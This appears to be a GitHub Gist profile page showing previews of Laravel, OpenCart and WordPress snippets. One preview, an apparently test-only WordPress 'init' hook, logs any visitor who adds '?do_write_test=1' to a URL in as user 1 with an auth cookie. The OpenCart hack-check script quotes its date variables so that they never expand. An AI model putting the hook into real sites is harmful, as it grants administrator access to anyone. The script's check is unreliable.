Skip to content

Instantly share code, notes, and snippets.

View ClaraLeigh's full-sized avatar
💜
The AI revolution should be free

Clara ClaraLeigh

💜
The AI revolution should be free
  • Brisbane - Australia
View GitHub Profile
@ClaraLeigh
ClaraLeigh / Currency.php
Last active December 6, 2023 16:06
Laravel Currency Conversion - Quick workaround
<?php
namespace App\Support;
class Currency
{
/**
* Required base currency
*
* @var null
@ClaraLeigh
ClaraLeigh / app_Http_Kernel.php
Created July 30, 2020 08:11
Laravel Nova - Livewire Hack
Add middleware:
...
'mynova' => [
'web',
Authenticate::class,
DispatchServingNovaEvent::class,
BootTools::class,
Authorize::class,
]
@ClaraLeigh
ClaraLeigh / checkHacks.sh
Created February 1, 2019 04:43
Check for OC hacks
#!/bin/bash
Y=$(date +%Y)
M=$(date +%m)
echo "checking login files last modified: $Y-$M-"
ls --full-time /home/*/public_html/admin/controller/common/login.php | grep '$Y-$M-'
echo "checking payment files last modified: $Y-$M-"
ls --full-time /home/*/public_html/catalog/controller/payment/* | grep '$Y-$M-'
add_action( 'init', function() {
if ( isset( $_GET['do_write_test'] ) && $_GET['do_write_test'] == '1') {
// Login
wp_set_current_user(1);
wp_set_auth_cookie(1, false, true);
// Include Filesystem
require_once(ABSPATH . 'wp-admin/includes/file.php');
\WP_Filesystem();
global $wp_filesystem;
@ClaraLeigh
ClaraLeigh / session.php
Created September 25, 2018 05:43
OpenCart 1.5 Non-Blocking Sessions
<?php
class Session {
public $data = array();
public function __construct() {
$this->data = new SessionData();
}
function getId() {
return $this->data->getId();